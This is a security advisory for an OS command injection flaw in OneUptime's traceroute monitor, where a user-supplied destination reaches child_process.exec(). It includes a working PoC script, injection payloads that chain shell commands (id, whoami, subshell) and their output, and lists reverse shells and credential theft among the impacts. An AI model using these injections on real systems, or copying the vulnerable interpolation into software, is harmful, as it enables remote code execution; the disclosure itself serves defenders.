CVE-2026-27728: OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()
Summary An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. Details The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.
Published Feb 25, 2026 · Updated Feb 27, 2026
Affected packages
@oneuptime/common
- Ecosystem
- npm
- Affected
- < 10.0.7
- Fixed in
- 10.0.7
- Check
npm ls @oneuptime/common
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.
Details
The vulnerability exists in [Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191.
The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via child_process.exec() (wrapped through promisify):
// Line 13 — exec imported from child_process
import { exec } from "child_process";
// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);
// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
destination: string, // ← attacker-controlled
maxHops: number,
timeout: number,
): Promise<TraceRoute> {
// ...
let command: string;
if (isWindows) {
command = `tracert -h ${maxHops} -w ${...} ${destination}`;
} else if (isMac) {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
} else {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
}
const tracePromise = execAsync(command); // ← shell executionThe destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().
child_process.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), ` , &&, ||, \n) in destination` will be interpreted, allowing full command injection.
PoC
- poc.cjs
/**
* PoC: OS Command Injection in OneUptime NetworkPathMonitor
*
* Replicates the exact vulnerable code path from
* Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
*/
const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);
async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
const isMac = process.platform === "darwin";
const isWindows = process.platform === "win32";
let command;
if (isWindows) {
command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
} else if (isMac) {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
} else {
command = `traceroute -m ${maxHops} -w 3 ${destination}`;
}
console.log(`[VULN] Constructed command: ${command}`);
try {
const { stdout, stderr } = await execAsync(command);
return { stdout, stderr };
} catch (err) {
return { stdout: err.stdout || "", stderr: err.stderr || err.message };
}
}
async function runPoC() {
console.log("=== Payload 1: Semicolon chaining (;) ===");
console.log(" destination = '127.0.0.1; id'\n");
const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
console.log("[stdout]:", r1.stdout);
console.log("\n=== Payload 2: Pipe injection (|) ===");
console.log(" destination = '127.0.0.1 | whoami'\n");
const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
console.log("[stdout]:", r2.stdout);
console.log("\n=== Payload 3: Subshell execution $() ===");
console.log(" destination = '127.0.0.1$(echo INJECTED)'\n");
const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
console.log("[stderr]:", r3.stderr);
}
runPoC().catch(console.error);- Run the PoC:
node poc.cjs- Expected output (confirmed on macOS with Node.js v25.2.1):
=== Payload 1: Semicolon chaining (;) ===
destination = '127.0.0.1; id'
[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id
[stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms
uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...
=== Payload 2: Pipe injection (|) ===
destination = '127.0.0.1 | whoami'
[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami
[stdout]: dxleryt
=== Payload 3: Subshell execution $() ===
destination = '127.0.0.1$(echo INJECTED)'
[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)
[stderr]: traceroute: unknown host 127.0.0.1INJECTEDThe id and whoami commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — $(echo INJECTED) is evaluated and appended to the hostname.
Impact
Vulnerability type: OS Command Injection (CWE-78)
Who is impacted: Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:
- Execute arbitrary commands as the Probe service user (Remote Code Execution)
- Read sensitive files from the Probe server (e.g., environment variables, credentials, service account tokens)
- Pivot to internal services accessible from the Probe's network position
- Compromise other tenants' monitoring data if Probes are shared across tenants
- Establish persistent backdoors (reverse shells, cron jobs, SSH keys)
Note: The NetworkPathMonitor class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.
Credited to dxlerYT.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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